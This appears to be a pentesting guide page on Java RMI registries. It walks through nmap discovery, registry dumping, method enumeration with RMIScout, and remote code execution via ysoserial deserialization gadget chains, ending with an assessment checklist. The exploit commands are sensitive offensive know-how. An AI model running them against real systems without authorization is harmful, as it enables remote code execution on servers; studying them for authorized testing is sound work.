Pentesting Java RMI
Java Remote Method Invocation (RMI) lets a Java application expose objects that a remote client can call methods on directly, as if they were local. A registry, often found on port 1099 or, on this port, 11099, advertises which remote objects are available and how to reach them. It's most commonly encountered on Java application servers and custom enterprise software.
From a pentesting perspective, a reachable RMI registry hands over the exact method signatures a remote object exposes, and where one of those methods deserializes attacker-controlled input, that's frequently enough for remote code execution via a Java deserialization gadget chain.
Discovery and Enumeration
nmap -sV -p 11099 --open -T4 -Pn -n 10.1.1.0/24 # Scan a network range for a Java RMI registrynmap -v -Pn -p 11099 -sV --script=+rmi-dumpregistry 10.1.1.1 # Dump the registry's bound object namesThe rmi-dumpregistry NSE script lists every object name bound in the registry, which is the starting point for everything else on this page, since each name identifies a remote object worth investigating further.
Enumerating Methods with RMIScout
Once a bound object name is known, RMIScout enumerates the actual methods it exposes, either against a wordlist of common method signatures or by brute-forcing return/parameter type combinations directly.
rmiscout.sh wordlist -i lists/prototypes.txt 10.1.1.1 11099 # Test a wordlist of known method signaturesrmiscout.sh bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 10.1.1.1 11099 # Brute force method names against likely return/parameter types
Exploiting via Deserialization
Where a discovered method accepts a serialized Java object as a parameter, and the application doesn’t validate the class being deserialized, a ysoserial gadget chain can be smuggled in through that method to achieve remote code execution. RMIScout can drive this directly once a suitable method is identified:
rmiscout.sh exploit -s 'String echoString(String x)' -p ysoserial.payloads.Groovy1 -c 'id' -n RMIInterface 10.1.1.1 11099-s the target method's signature, as discovered above-p the ysoserial gadget chain to use (varies depending on which libraries are present on the classpath)-c the OS command to execute if the gadget chain fires successfully-n the bound object name from the registry dumpIf the exact gadget chain isn’t known in advance, it’s worth trying several from ysoserial’s supported list (CommonsCollections5, Groovy1, Spring1, etc.), since success depends entirely on which vulnerable libraries happen to be present on the target’s classpath.
JMX vs. Plain RMI Registries
Not every RMI registry backs a plain custom application; some expose Java Management Extensions (JMX) instead, which is its own management interface built on top of RMI. A JMX registry generally responds differently to the enumeration above and is better approached with a JMX-specific client, such as jmxterm, once identified.
What Should We Look For?
- Is the RMI registry reachable from outside the application server’s own network segment?
- Does the registry expose method signatures that accept complex/serialized object parameters, rather than only primitives?
- Are outdated libraries with known ysoserial gadget chains (Commons Collections, Groovy, Spring) present on the application’s classpath?
- Is this a JMX registry rather than a custom application, and does it allow unauthenticated management access?
Further detail: Java RMI for Pentesters: Reconnaissance & Attack Against Non-JMX Registries.




